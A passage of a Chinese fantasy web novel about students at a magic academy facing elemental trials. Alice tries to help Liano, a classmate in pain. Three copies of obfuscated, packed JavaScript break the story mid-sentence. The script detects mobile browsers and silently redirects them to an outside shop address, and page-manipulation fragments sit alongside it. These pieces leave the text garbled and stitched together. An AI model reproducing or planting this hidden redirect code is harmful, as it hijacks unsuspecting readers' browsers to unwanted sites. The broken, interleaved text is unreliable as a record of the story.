;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092914|195516||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 择,结交与她相互认可的人。 他呢?他也会是这么想的吗? 爱丽丝回忆着那个安静地坐在她身旁的身影,还有清丽而缜密的笔迹,神色疏离的略显苍白的侧脸。 不知道他还会再选些什么课。 如果能再遇到他就好了。 还有…… 她的脑海中冒出另一个画面。 单薄的身影和宽广的湖面形成鲜明的对比,但是当那个身影抬手施法,仿佛一切都在屏息以待。 那是能让她感受到美好和赤诚的魔法,让她庆幸来到这里的魔法。 如果也能认识他就好了…… 爱丽丝彻底停下步伐,闭上眼做了一个悠长的深呼吸。 重新睁开眼时,和往常一样的神采又回到那双琥珀色的眼中。 然后她再次迈动脚步,轻快地小跑着前往下一个课堂。 不为什么,只是因为下节课听上去也很有趣! * 所以说魔法学院果然是—— 啊,离超好的地方还差那么一点点。 爱丽丝今天也在公共餐厅的供餐处转悠了一小会儿,却依旧没看见和家里餐桌上类似的冰沙甜点。 说真的,她有点想念庞普夫人的手艺了。 在松松软软的冰沙上浇上牛奶和炼乳,或者再加上一点水果,冰冰凉凉又甜丝丝的真的很好吃。 她最后一次惆怅地环视了一圈,终于放弃了转悠,转而在一张空桌旁坐下,意识到自己其实有点想家。 “也不知道姐姐的小鸟能不能飞过来呢……” 姐姐爱琳娜和她相差了近十岁,却始终是她最亲密的家人。 因为双亲的意外,爱琳娜承担起梅尔维尔领主的重任,作为风元素施法者却无缘上一世代魔法学院大门的开启。 好在克莱因老师那时就会教姐姐一些基础的魔法,其中爱丽丝最喜欢的就是姐姐的风元素小鸟。 虽然克莱因老师并不希望她过早尝试操纵魔法,但她在看了两次之后也偷偷学会了。 于是那个具有观测和探查功能的风元素魔法,主要被她们姐妹俩用来互相敲着窗户传小纸条。 不过学院好像是飞不进来的样子,毕竟整个学院都被覆盖在魔法的保护和隐藏之下,梅尔维尔领地也有些太远了。 如果是在学院内部的话应该不受影响? 爱丽丝正在思维飘忽地用餐,远远看见伊莎贝拉走了过来,现在她已经很擅长在一众兜帽打扮里捕捉认识的身影了。 她熟稔地挪了挪餐盘为好友腾出地方,对面坐下的伊莎贝拉却好像很疲惫一般地深深叹气。 爱丽丝哑然失笑,“怎么了?魔法骑射课这么夸张?” 还真是很少看到伊莎贝拉这副样子。 爱丽丝自己并不偏好这些体术相关的课程,但她知道伊莎贝拉应当很擅长,毕竟这是罗斯戴尔领地的传统来着。 伊莎贝拉抬起眼欲言又止,瞥了瞥近处没有旁人才偷偷摸摸地开口。 “爱丽丝……你有没有……” 她凑近了轻语,“我是说这几天在学院,你有没有遇到什么奇怪的事情,比如进入一些神奇的空间之类的……” “……!”爱丽丝咬着勺子瞪大了双眼,“难道伊莎贝拉你也……” 伊莎贝拉看到她的反应立刻就懂了,却一把搂过她止住了她的答话。 “嘘——!” 4. 莫名地担心他 “火元素是最难操纵的元素,它光辉、璀璨、热烈,却也暗藏着焦灼、暴虐和危险。” 年轻而强壮的男性教授面上没有一丝表情,下垂的嘴角吐露出带着些许狠厉的话语。 “你们是被火元素选中的学徒,但不要妄想你们能轻易掌控它。不论,”他刻意地停顿,看向某几个似乎志在必得的学徒,“你们之前曾经成功施展过什么样的火元素魔法,在我这里,你们全部都要重新开始。” “你们将在这一整个学期,从最基础的部分,一点一点接触这个多变的元素。请你们务必打起精神!” 他的眼神猛然一瞥,有学徒因为他腰间的短鞭而吞了吞口水。 “稍有不慎,迎接你们的将会是烫伤、爆炸,甚至更加恐怖的后果。” 警告的话语在昏暗的教室中渐渐传远。 不像魔法史课那样亮堂的阅览室,这间教室黑乎乎如同牢狱一般,倒是与教室前方这位教授的风格相符。而教室四周是早已被熏黑的厚重的墙壁,仿佛在回应那句“更加恐怖的后果”。 “听好,爱丽丝……” 但伊莎贝拉显然不太在乎这种紧张的气氛,正在小声和爱丽丝说着悄悄话。 “我想我们最好别将秘境的经历轻易告诉他人,还有在仪式间获得的启示,这应当是至关重要的事情,一定要谨慎对待。” 爱丽丝煞有介事地点点头,顺便将自己藏在前排学徒的身后试图降低存在感。 但是仪式间的启示是什么?是院长先生最后对她说的话吗? 可惜当时仪式间魔法的光已经洒下,她其实什么也没听见,只在光亮中隐约看见院长先生开了口。 该不会她就这样错过了仪式间的启示吧? 不过鉴于刚刚伊莎贝拉的提醒,爱丽丝觉得现在也许不是讨论这些的好时机。 她又探出一点脑袋,目光从前排学徒身影的中间穿过,向教室前方正在示范施法的教授看去。 “火焰是火元素最为本真的存在状态,是火元素的显性存在。” 教室前方一支蜡烛正在静静燃烧,昏暗的环境中,那簇火焰仿佛正与空气中的什么共振。而教授的声音也一改先前的严厉,拖长的音调像是在避免打扰什么。 “感受烛光中的显性火元素,并试图用空气中的隐性火元素加强它们,这是你们接触火元素最好的方式。” “所以说,秘境真的是所谓的元素的考验吗?” 爱丽丝和其他学徒一起领来蜡烛开始练习,却忍不住继续思考着关于秘境的事情。 这个相当于魔法学院神秘事件的存在真的太有吸引力了,她借着学徒们练习施法时细细簌簌的动静又凑到了伊莎贝拉身边。 “估计是。”伊莎贝拉也试图推测,今天的练习对她来说并无难度,“你离开秘境后,挂坠凭证有什么变化吗?” 爱丽丝在只一瞬间的回忆之后立刻点了点头。 她检查过自己的挂坠,中间部分多出的几粒细沙想必是因为她所完成的课程。 而四周的三角形结构也在她离开秘境后发生了变化,对应四元素的四个位置都多出了细沙,爱丽丝不知道这是否是由于她是四元素施法者的缘故。 她将观察到的变化描述给伊莎贝拉,得到一句“那就没错了”。 挂坠周围对应四元素的部分应当就代表着元素的认可,而爱丽丝通过秘境中元素的考验,获得了所对应程度的元素的认可。 她自然而然地询问伊莎贝拉是否也是如此,没想到伊莎贝拉却摇了摇头。 “我推测……我的考验可能还没有结束。”她像是沉思地,“我还没能解决掉那个。” 爱丽丝感到疑惑。 虽然很容易就能猜测出每人遇到的秘境有所不同,她也隐约能感觉到自己那个奇奇怪怪的毛茸茸秘境很特别,但在伊莎贝拉的秘境里,究竟是什么东西需要被她“解决掉”? 而且,经验告诉她,当一个罗斯戴尔领地人用“解决掉”来描述一件事的时候,事情通常没那么简单。 * “正统的施法,做得很好。” 教授面无表情地对着伊莎贝拉点了点头。 爱丽丝推测这应当是一个相当高的评价,因为在伊莎贝拉轻轻挥动魔杖后,烛焰明显跳动并膨胀起来,亮度和热度也随之上升,似乎不再是一支蜡烛而是一个火把了,伊莎贝拉对此却撇撇嘴没说什么。 下一个要上前施法的是爱丽丝。 她本想张口调动火元素,教授周围的低气压却让她把话语默默咽下在心里。不过没关系,这并不困难,只不过无声魔法会更多地受到施法者思维的影响罢了。 只见面前的烛焰先是规矩地膨胀起来,随后却并没有停止变化,而是慢慢拉长变形,金色丝线一般向上空一点点蔓延。 爱丽丝眨了眨眼睛。 她好像一不小心想到魔法史课堂上的时间轴了,这该不会不合要求吧? “缺少攻击性,但具有灵活度及创造力,很有天赋。” 好在教授似乎并不像看上去那样不近人情,也对她点了点头,甚至连表情都错觉般的柔和了一些。 “下一个。” 排在她后面就要进行施法的学徒是利亚诺,意识到这一点使得爱丽丝回到位置的动作微微迟滞了一瞬。 她不自觉地关注着利亚诺的状态,这才发现他使用的也是手势魔法,和那天在湖边的人一样。 但是,他的动作却显得…… 她看着利亚诺在燃烧的蜡烛前方轻轻划动手臂。 他的手掌几乎掠过火焰,又在蜡烛的侧面短暂停顿了一下,随后翻动手心朝上,先是稍稍下沉,再往上抬起一小段距离。 爱丽丝不知道该怎么形容。 不够投入?过于拘谨?明明手臂和手指的每次移动都是标准的甚至优美的,但就是令人感觉缺少了一些什么。 当动作最后定住的时候,她发现利亚诺的手指不知为何颤抖了一下。就好像是感受到什么疼痛一般想要瑟缩起来,但是却被他生生忍耐住了。 抬眼看去,烛焰轻轻晃动,并无其他反应,连最基础的火焰的扩大也不曾显现。 严肃地站在对面的教授一言不发,抱着手臂沉着脸摇了摇头。 利亚诺也沉默着,随后慢慢收回停在半空的手臂。走回自己的位置时,他兜帽下的唇线抿得很紧。 怎么会…… 爱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092915|195516||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丽丝下意识地露出担心的神色。 她不认为利亚诺会是对魔法随意敷衍的人,他认真和勤勉的程度甚至连她都自愧不如。 那么为什么会这样呢?为什么火元素没有给予他回应? 天赋不足吗?但是既然他有资格选择这门课,说明他本身的魔力是带有火元素的属性的。 因为虽然四元素之间可以相互转换,可是这个过程难度非常大,在现有的课程中几乎不会让学徒有所接触,所以他们目前所学习的魔法都是与自身魔力属性对应的,利亚诺应该确实带有火属性没错。 既然如此……爱丽丝更愿意相信他遇到了什么别的困难。 是身体不适吗?还是魔力的流动不畅? 她想起他警惕的眼神、始终苍白的面庞,还有死死按压着腹部靠着墙壁颤抖的单薄背影,她最近时常想起这些。 爱丽丝意识到,她其实是想…… * “所以你很想帮助他?想问问他遇到了什么困难?” 伊莎贝拉露出不赞成的神色,“你甚至不知道他是什么背景。那天在礼堂和奥斯维德叫板的人你也看到了,要我说,图谋不轨的可不止格罗姆康特一家。” 爱丽丝明白,尤其是在魔法史教室听到那些不善的言论之后,安娜的叮嘱就重新回到她的脑袋里。但利亚诺给她的感觉是不一样的,所以她下意识地为他辩解。 “他不像是坏人。” “为什么?就因为他在理论课上写的文章让你很喜欢?”伊莎贝拉一语道破,“坏人的脸上可没写坏字,文章里更不会写。” 爱丽丝知道伊莎贝拉说得对,但就是不太满意地嘟了嘟嘴,她的直觉还从来没有错过呢。 于是她难得为了反驳什么而开动脑经,“但是伊莎贝拉,如果我不去接触,我要怎样知道谁才是与我志趣相投的人呢?好人脸上也没写好字!” 她并不担心与伊莎贝拉意见相左,因为她知道伊莎贝拉是可以就事论事的讨论者。 伊莎贝拉却感到意外地挑了挑眉毛,她很少看到爱丽丝去坚持什么,通常只要有一些有趣的魔法,她就会满足得像晒着太阳睡午觉的小猫咪一样,再也不在意其他什么,她还以为爱丽丝会转移话题继续和她讨论秘境。 “嗯……我倒是也认可你的说法。”所以她这会儿不得不更加仔细地思考起回答爱丽丝的方式,“但是这一切的基础是……” 她的声音突然停顿。 而她们两个人的步伐也仿佛被施了法一样,在同一时刻死死定住了。 因为她们感受到了什么。 熟悉的朦胧的闪光,熟悉的元素不寻常的流动,熟悉的与世隔绝之感。 她们同时愣住盯着对方,确认了对方的身影依然存在于自己的眼前。 这还是她们第一次在两个人的情况下进入秘境。 下一秒,爱丽丝被伊莎贝拉身后的什么吸引了注意力。 她用手指指向伊莎贝拉的身后,嘴唇开合几次却不知道怎么描述。 伊莎贝拉见状也有所预料般的脸色一青。 她没有回头,而是一把拽过爱丽丝让她调转方向,同时大声高喊: “快跑——!” 5. 为他留出距离 “呜哇——!” 秘境里没有他人,爱丽丝和伊莎贝拉两人彻底不顾形象地边逃跑边乱叫。 半空中穷追不舍的是一只元素力量构成的大鸟,虽然不像是要致人死地,但是不时发射的带着冰粒的吐息沾上一点都让人冻得一个激灵。 爱丽丝为了躲避差点将自己绊倒,伊莎贝拉一把拽过她接着往前跑。 这个诡异的场景对于两人都是一样的无法解释,但她们确信对方的存在必然对这个秘境产生了一定的影响。 “我的秘境可里没有这么凶的鸟!” 爱丽丝在喘气的间隙大喊,她早就体力告急,现在已经全靠伊莎贝拉拽着她。 “我的秘境里它也不会对人吐冰碴子!” 伊莎贝拉边回头观察着大鸟的位置边喊回去,天知道她秘境里的鸟本来只是在盘旋而已,顶多再飞到人的脑袋上扑棱两下翅膀。 “这是冰沙吧!冰沙——!”爱丽丝喊道。 哪怕早就习惯了爱丽丝跳跃的思维,伊莎贝拉也不得不折服于她松弛的心态。她扭头看向爱丽丝肩膀,兜帽上留下了先前被击中的痕迹,那些冰粒看着细腻,好像确实用容器接起来再淋上果酱就可以吃了。 但是拜托至少等现在的情况解决了再考虑吧! “都什么时候了还想着点心!快躲开!” 她大喊着猛地一推,爱丽丝顺势跌向一旁柔软的草地,又咕噜咕噜地滚向遮蔽身形的灌木丛,刚好躲过了来自空中的寒冷的吐息。 “朝这儿来!” 伊莎贝拉一个急转调过方向,将大鸟吸引至另一边。 总是逃跑不是办法,她们必须分出精力用魔法应对,在这一点上她很信任爱丽丝。 与此同时,爱丽丝从灌木丛里手脚并用地爬出来,喘了两口气又甩了甩脑袋上沾着的叶片。 她还带着奔跑了半天的兴奋劲儿,将召唤元素的话语喊得大声: “稳定而温和的土元素,请你赐予我保护!” 感受到强力的感召和充沛的魔力,秘境中的土元素也立刻兴奋起来。爱丽丝听到耳边隐约响起坚实厚重的声音,随后土元素在她的周身聚集,形成了一层稳固的保护力量。 她站起身向远处的伊莎贝拉挥手示意,对方接收到信号之后直线向她跑来。眼看大鸟的吐息又要到来,爱丽丝也飞奔着向伊莎贝拉扑过去。 “土元素,拜托你变成宽广的护盾,把伊莎贝拉也保护进来!” “唰——” 大鸟的吐息袭来,两人一同扑倒在地,想象中的寒冷并没有到来,她们在耳边的动静平息后试探着抬起头。 四周白茫茫一片,是冰沙被阻挡在了土元素的护盾之外。已经无法造成影响的冰沙渐渐掉落或消融,露出护盾之外的景象。 只见大鸟仍在空中盘旋,却好像知道这是无用功一般没再进行攻击。 “呵,终于轮到我们反击了!” 狼狈地被追了大半天,现在终于可以扬眉吐气,伊莎贝拉的眼睛里闪着的火光有如实质。 她干脆利落地翻身站起,借着爱丽丝的护盾,左手张开朝向天空作为瞄准,右手从衣袋中抽出魔杖指向目标。 “不论是秘境的鸟还是别的什么……” 她鼓动的心跳也还尚未平息,高涨的情绪连同澎湃的魔力同时涌向魔杖,风元素和火元素的魔力一同冲向高空。 “都给我看好了——!” 魔力的攻击将空中的大鸟贯穿时,伊莎贝拉莫名体会到一种熟悉感,就好像这种令人激动的不管不顾的施法,曾经也在她的记忆中出现过。 * 左手张开朝向天空,一只鸟正在瞄准范围内盘旋,年幼的伊莎贝拉正想抽出魔杖攻击,却因为耳边听到的动静而警惕地向一旁看去。 低矮的灌木丛摇晃了两下,钻出一个浑身沾满落叶的小豆丁。 她的年龄看上去和她相仿,穿着明显不便于林间行动的衣裙,在发现她之后就呆愣愣地盯着她,琥珀色的眸子一眨一眨的。 “你也是偷偷溜出来玩的吗?” 小豆丁语气软乎乎地开口,叫伊莎贝拉一时语塞,“……这是狩猎会,我是出来打猎的。” 这里是罗斯戴尔狩猎会的狩猎区域,她看上去好像不认识自己,又不太搞得清状况,那应该是梅尔维尔家的爱丽丝没错了。 据说附属领地梅尔维尔的前任领主和领主夫人出了意外,小女儿又大病了一场,整个领地直到今年才勉强恢复正常运转,父亲还特意关注了一下。 伊莎贝拉抬头一望,刚才盯住的猎物早就已经飞不见了,她只好在确认身份后带着小豆丁一起前进,想着一会儿顺带把她送回主会场。对方一副对她毫无警惕心的样子,愉快地就跟上了脚步。 是不是太轻信他人了,梅尔维尔的教育真的没问题吗?伊莎贝拉小大人似的在心里嘀咕,丝毫没有意识到她也只是同龄的孩子。 “不射箭吗?” 爱丽丝在伊莎贝拉第五次或者第六次放下魔杖时忍不住轻声问,她几乎可以肯定对方手中的魔杖能将魔力作为箭矢射出。 伊莎贝拉在她们前进时仍在寻找狩猎目标,但始终没有做出任何攻击,总是在摆好架势后又撇撇嘴放下了魔杖。 “梅尔维尔是罗斯戴尔的附属领地,所以你也应该知道的吧,我们都是以擅长风元素魔法著称的地区。” 单元素并非代表弱小,而是相反能将这一元素的魔法潜力发挥得更加充分。 罗斯戴尔家族出身的几乎都是风元素魔法师,但伊莎贝拉却是一个意外,火元素清晰地显现在她的魔法属性中,一如她艳丽的红发。 “明明父亲和哥哥狩猎时都可以直接用风元素的攻击捕获猎物的,我的攻击却怎么样都会带上火元素……” 到底是年纪还小,和玩伴熟悉了的伊莎贝拉不知不觉吐露出内心的纠葛。她并不指望对方能够做到什么,只是这件事不好和身边人说,所以稍微倾诉一下罢了。 爱丽丝却好像丝毫没有感受到她的纠结,眼睛亮晶晶的好像看到美味大餐。 “那就是说……可以直接变成烤鸡吗!” “……那是鸟不是鸡。” “烤乳鸽!庞普夫人做的烤乳鸽最好吃了!” “……这是狩猎会不是厨艺会。” 她在高兴些什么?伊莎贝拉继续拉着她往前,脚步却不知怎么的在“烤乳鸽烤乳鸽”的叫唤声里渐渐轻快起来。然后身边的小豆丁突然噤声拽了拽她的衣袖,用手指指向空中露出踪迹的鸟。 如果真的变成烤乳鸽的话……好像听上去也不错。 伊莎贝拉盯着空中的猎物舔了舔嘴唇,第一次以一种神奇的兴奋的心情扬起魔杖。 “爱丽丝!你跑到哪儿去了!” “姐姐~” 伊莎贝拉拎着猎下的鸟还没把爱丽丝送到主会场,梅尔维尔领主就已经找来了。爱丽丝一看见一只风元素的小鸟就开始拦不住地狂奔,她担心出什么意外紧紧跟着,正好迎上了梅尔维尔领主。 看着爱丽丝被珍重地拥抱,伊莎贝拉突然发现,好像自己也是被爱的。 不论是父亲还是哥哥,都支持她寻找自己的喜好和方式,哪怕不同于常规他们也全然支持,似乎她不是风元素魔法师也并不影响什么。 也许阻碍她的始终只是自己的犹豫而已。 最后,伊莎贝拉和梅尔维尔领主互相行礼告别,爱丽丝则躲在梅尔维尔领主身后眨了眨眼睛,好像在邀请她下次一起玩儿。 在伊莎贝拉的印象中,那时的自己应该是相当孤僻而不好接近的,是怎么跟爱丽丝玩儿起来的呢? 爱丽丝倒是没怎么变,不论年纪大小都一样的迷糊,一样的奇奇怪怪,也一样的给人带来温暖。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092916|195516||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 毕竟她就是这样的人。 * “咳咳咳……” 大鸟体内残留的冰沙遇到火焰,生成了大量的水汽,几乎要把爱丽丝和伊莎贝拉都给淹了。 水汽散去的时候,周身环绕的元素也散去了,代表她们已经离开了秘境。 “真是吓死人了——”爱丽丝甩了甩额前沾上水滴的发梢,故作夸张的语气却毫无紧张感,“这个秘境也太凶残了吧,这就是罗斯戴尔的力量吗?” 伊莎贝拉听得哭笑不得,“凶残这个词未免也太……” 她们气喘吁吁地看着对方,又同时大笑起来。 伊莎贝拉摸出自己的挂坠查看,风元素和火元素的位置都多出了一点细沙,她魔力中所不具备的土元素位置也多出了一些,只不过要少得多。 是这三种元素给出了认可吗?她将疑问暂放心底。身旁爱丽丝的挂坠和前一次一样,四个元素的位置都增加了细沙,稳定得叫人羡慕。 总之这次的秘境算是解决了,但是有关秘境和元素的考验还有太多未解之谜,真该好好调查一下,伊莎贝拉暗下决心。 她站起身,又将爱丽丝拉起来,然后拍了拍身上的尘土,装作不经意地开口,“担心就去问问吧。” “嗯?”爱丽丝不解。 “那个让你在意的优等生。”伊莎贝拉双手抱臂,做出一个酷酷的姿态,“我会保护你的,他要是敢欺负你我一定帮你凶回去!” “嘿嘿,谢谢你伊莎贝拉~”爱丽丝亲昵地贴近了她,“但是总感觉他是那种需要一点点慢慢靠近的人,不然肯定会像炸毛的小猫一样跑掉的。” “……这是什么奇怪的理论。” 真的不要紧吗?要不还是拜托奥斯维德先调查一下他吧?伊莎贝拉在心里嘀咕,和爱丽丝一起渐渐走远,爱丽丝轻快的尾音也在空中慢慢消散。 “是小猫理论喔!” * “给你。” 耳边响起轻轻的气声,利亚诺发现身边的人帮他捡起了掉落的月桂叶,魔法药材课上摊开在桌面的叶片总是容易在衣袖和微风的遮掩下偷偷失踪。 他下意识抬眼看去,又在视线触碰到对方琥珀色的眼眸时不自然地闪躲,随后生涩地开口,吐露出那个对他来说几乎已经陌生的词汇。 “……谢谢。” “不用谢~” 对方的回复听上去带着暖暖的笑意。 利亚诺有点在意这个经常在他身边出现的学徒。 真的经常出现,他曾以为不会有谁像他一样选这么多理论课的,而且还选得这样相似。 她总是出现在他的周围,却从不打扰他,只是很专注地听课,在教室偏小、桌椅数量没有多余时似乎也不介意坐在他旁边,但却从未让他感受到任何的恶意或侵略性。 他感受得到,她是一个明媚的人。 甚至在课堂上发言时的语气也是明亮的,好像枝头的小鸟在蹦蹦跳跳,不时说出一些角度新奇却令人眼前一亮的观点。 有时她会和朋友同行,在上课前将脑袋凑在一起细细簌簌地聊天,他能在她侧过头时从兜帽的阴影下看见她对朋友露出的弯弯的眉眼和温暖的笑容。 但利亚诺不明白为什么连他也可以隐约感觉到这份暖意。 偶尔他们会对上视线,而对方只是轻轻微笑示意。 他其实更愿意独自蜷缩在教室阴暗的角落,毕竟没有人会想要接触他这样的人,冷硬的、阴沉的、令人厌恶的。那些背后不善的议论他早已习惯了,降低自己的存在感也可以帮助他避免一些麻烦。 但如果身边一定要有一个人的话…… 他会希望是她。 这很危险,因为他居然渐渐觉得在她身边可以松一口气,渐渐习惯于她的接近,明明他对自己的处境再清楚不过。 他不该这样的,利亚诺提醒自己。 6. 下意识地关照他 “利亚诺,你、你还好吗……”爱丽丝犹豫着轻声开口。 魔法生理学课是所有学徒必修的课程,相当宽阔的教室里人数众多,角落的动静几乎无人在意。 只有前排一个暗红发色的学徒不知在回头张望些什么,爱丽丝隐约记起他是伊莎贝拉口中的格罗姆康特家族,但他很快也就转过头去,让她能够在教授的讲授声和各种翻阅书籍、抄写笔记的细小声音里询问利亚诺的状态。 她知道利亚诺有时会不舒服。 可能是胃痛吧,他偶尔会皱着眉微微蜷起身体,整个人散发出一种紧张而戒备的气场。 爱丽丝通常不会在这个时候打扰他,她知道随意接近正在忍痛的猫猫是很冒犯的行为。 但她有时实在忍不住投去担心的目光,她发现,每当利亚诺意识到她的目光时,即使不与她对视,也总是会试图让自己的表情柔和下来一些,似乎是在无声地表示自己没事。 虽然那一点点的柔和在他疏离冷淡的神色里几乎叫人察觉不了,但是爱丽丝相信自己感觉到了,这让她心里酸酸软软的,觉得他没必要这样的顾虑和克制。 但是今天,利亚诺的状态有些不太对劲。 疼。 利亚诺克制着身体的颤抖。 他蜷缩着趴在桌面上,将面庞埋在双臂间,试图让自己忽视腹部搅动般的痛楚。 但这不可能。 这是刻意给他的提醒、刻意对他的玩弄,是自从来到学院就越发变本加厉的折磨。他多日的躲藏行径似乎惹怒了对方,叫对方特地在此时此地开始这场游戏。 钝痛如同钝刀一般在腹部缓慢地游走,又在脆弱处揪起密密麻麻的刺痛,最后聚集在一个无法触摸无法形容的位置,每一次搅动都牵扯着所有敏感的神经。 利亚诺的呼吸开始发颤,但他知道这只是个开始。 “人类与元素的互动并不是不需要代价的,人类会将自身携带的能量,也就是通常所说的魔力,奉献给元素,作为交换,元素将实现人类的愿望。当然,这一过程并非像这句总结一样简单,也许你们已经在魔法史课堂上了解了人类探索魔法的脚步,又在各个元素的魔法实践课程中不断钻研和元素交流的方式方法……” 教授在讲台前讲得投入。 “然而,人类如何产生魔力,魔力是来自自身还是来自环境,生成的魔力如何储存在身体当中,同时形成每个个体魔力量的差距,又是如何在施法的过程中使用出来,这些问题都是魔法生理学的重要研究内容。” 学徒众多,他无法特别关注到谁,只有在风元素魔法的协助下将声音尽量传远,毕竟这是一门对每位施法者都至关重要的课程。 他又轻点一个魔法阵,使文字和图案在法阵的上空浮现。 “现在,请各位记住魔法生理学中最重要的概念,人体中用来生成、储存和释放魔力的器官——魔法体。” 利亚诺的身体狠狠颤抖了一下。 “利亚诺,你还好吗?” 身边的人一直没有给出回应,爱丽丝的声音带上了一些担忧和焦急。 “身体很不舒服吗?需不需要去医疗室?或者用治愈魔法……” 她稍微凑近了一些,对方却依旧没有反应。她还是第一次看到利亚诺难受成这样,明明之前连她的目光都能注意到,这次却只能无声地蜷缩着发抖。 爱丽丝抿了抿唇。 这种情况是不适用小猫理论的,她需要确认他是否安好,即使被哈气或被抓伤也无所谓。 于是她尽量以温柔平缓的动作,试探着将手轻轻搭上对方的小臂。 “利亚诺。” “——!” 手臂上轻微的触碰引起了利亚诺的猛然躲避,他一瞬间防备地撤过身体面向感受到触碰的方向,猛烈的动作差点要将桌上的笔墨撞倒,骤然抬起的灰色瞳孔也收缩成一条细线,紧张地盯着爱丽丝,仿佛随时要抵抗一般整个人紧绷到极限。 即使有心理准备,爱丽丝也因他剧烈的反应而稍稍愣住,利亚诺这才回过神来。 “不、不用……没事,不用管我……抱歉……” 或许是意识到她不会伤害自己,或许是愧疚于自己吓到她了,他喘了口气慢慢放松了身体,努力使自己的态度柔和了一些。 爱丽丝抓住机会,“你需不需要去……” 但是他没等爱丽丝问完。 “别管我。” 爱丽丝止住了话语。 痛苦、隐忍、决绝。 非常罕见地,利亚诺那双灰色的眼睛正毫无保留地望向她,没有平日里的闪躲,让她能够看清其中这些令人心痛的色彩。 所以爱丽丝知道,这是一个认真的回答,而不是随意的敷衍或是别的什么。 那双眼睛很快就重新因痛苦而紧紧闭上了,利亚诺皱着眉咬着牙再度将自己蜷缩起来,只有破碎的呢喃勉强传到爱丽丝的耳畔。 “别管我……” 这是没有办法的事情。 爱丽丝从他的眼神中理解了。 他没有办法向她解释这种疼痛的缘由,也没有办法逃离这样的疼痛,没有办法离开教室去医疗室寻求帮助,也没有办法自己使用或请求爱丽丝使用治愈魔法来为压抑的身体换取片刻喘息…… 或者说,这本就是爱丽丝的异想天开,治愈魔法是不应当被生疏的施救者轻易使用的。 即使借助了水元素治愈之力,伤口的强行愈合依旧会带来疼痛。而对于体内的疼痛,还需要采用风元素的探查准确找到病灶再进行治愈。 爱丽丝见过克莱因老师使用这个魔法,自己却还没能掌握。 总之,没有什么她能做的,她的担心只有到此为止。 她的视线不自然地扭转回到教室前方,教授仍在投入地讲解,而一旦挪开视线,身边那个过于安静的、无声忍耐的身影仿佛就不复存在,让她不必承受任何良心上的谴责。 “魔法体在理论上存在,却无法被解剖学观测到。我们可以将其想象为一个存在于腹腔中、形似玻璃球的容器,玻璃的材质决定了每个人的魔法属性,而容器的大小决定了魔力量的多少……” “呜……” 为什么……偏偏是现在…… 利亚诺用额头抵住桌面,咽下几乎要泄出的呻吟,忍耐着胃部翻涌而起的另一种痛。 魔法体。 先前无法形容的疼痛恶趣味地与这个单词绑定在一起,却又出尔反尔地不让他好受,在某几个已准备好忍耐的时刻放过他,又在他以为可以喘息的时候更加剧烈地折磨。 然后他的身体开始在煎熬和恐惧中背叛他,胃部的痉挛在持续的疼痛和精神压力下毫无预兆地暴起,冷硬的抽痛不识趣地、没有间隔地向他抗议,有形的痛和无形的痛绞在一起,一点点将他推向崩溃的边缘。 哪怕一手死死按压着腹部,另一只手狠狠掐住大腿转移自己的注意力,利亚诺依然清晰地感受到自己的崩溃。 冷汗早已浸湿衣料,却仍有不断的冷意从脊背攀上来,层层叠叠的痛苦好像要一寸一寸打碎他的隐忍,直到把他毫无尊严地按压在地面上。 他不可以崩溃……至少现在不可以…… 他必须……忍耐…… “魔法体会从周围对应自身属性的元素中汲取能量,作为人体魔力和生命力的来源……” “魔法体的干涸会给人体带来极大的痛苦和危险……” “魔法体……” “魔法体……” 做些什么,爱丽丝,做些什么。 下意识产生的想法不断在脑海中重复。 爱丽丝手中的羽毛笔早就没有在抄录笔记,而是在最开始记下的那个单词上机械地反复描画。 利亚诺的眼神让她的胸口闷闷地发痛,他是那么决绝地在坚持着什么、对抗着什么,却只有无助地独自忍耐,连痛呼都要死死咽下。 她看的出来,他的状态正越来越糟糕,她听见他隐约的闷哼。当那副躯体再度因疼痛而颤抖时,她又微微低垂下目光,看向他掐着大腿用力到扭曲泛白的手。 这样做的话可能会被讨厌的…… 即便如此,也请原谅她吧。 爱丽丝下定决心。 “——!” 手腕被忽然握住,利亚诺几乎是震惊而错愕地抬起头瞪向爱丽丝。 他反射性地想要抽出手,却发现握住他手腕的并不大的力道中带着某种无法轻易挣脱的坚定,盯着他的眼睛也认真得像是在准备某种魔法。 不、不要,他受不了的……他受不了任何…… “呃——!!” 下一个瞬间,腹部难以形容的痛楚又一次袭来,被分散了精力的利亚诺再也忍耐不住一声隐忍的痛呼,或者不如说,他早就忍耐不住了。 尖锐的疼痛让他的思维空白了一秒,回过神来时,来自自己喉间的不堪的声音让他陷入了前所未有的恐慌。 他慌乱地朝前看去,目光匆忙地掠过整个教室,在讲课的教授、大批的学徒、暗红发色的背影之间不知所措地来回跳跃,却发现好像并没有人要奸笑着揭露他的狼狈,也并没有人要假意关切地将他赶出教室。 